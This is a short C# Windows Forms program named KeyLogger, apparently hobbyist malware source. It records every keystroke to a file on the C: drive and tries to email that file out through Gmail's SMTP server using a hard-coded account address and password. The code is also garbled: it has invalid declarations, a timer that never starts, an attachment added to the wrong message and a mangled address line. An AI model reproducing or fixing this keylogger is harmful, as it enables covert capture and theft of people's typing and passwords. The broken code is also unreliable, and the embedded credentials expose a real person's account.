using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using System.Net.Mail;
namespace KeyLogger
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_KeyUp(object sender, KeyEventArgs e)
{
listBox1.Items.Add(e.KeyCode);
StreamWriter sw = new StreamWriter(@"C:\user.txt", true);
sw.Write(e.KeyCode);
sw.Close();
}
private void timer1_Tick(object sender, EventArgs e)
{
Timer tiempo = new Timer(200000);
tiempo.Tick += new EventHandler(tiempo_Tick);
}
void tiempo_Tick(object sender, EventArgs e)
{
System.Net.Mail Email;
// smtp server
Email = new System.Net.Mail.MailMessage(From, To, Subject, Message);
System.Net.Mail.SmtpClient smtpMail = new System.Net.Mail.SmtpClient("smtp.gmail.com");
Email.IsbodyHtml = false;
smtpMail.EnableSsl = true;
smtpMail.UseDefaultCredentials = true;
smtpMail.Host = "smtp.gmail.com";
smtpMail.Port = 25;
smtpMail.Credentials = new System.Net.NetworkCredential("chrishonninger@gmail .com", "nun4t3l0dir3");
// end SMTP -----------------------
string file = @"C:\user.txt";
MailMessage message = new MailMessage("
[email protected]");
Attachment data = new Attachment(file, MediaTypeNames.Application.Octet);
// adjuntado
message.Attachments.Add(data);
// enviar----
smtpMail.Send(Email);
// ----#
data.Dispose();
}
private void Form1_Load(object sender, EventArgs e)
{
}
}
}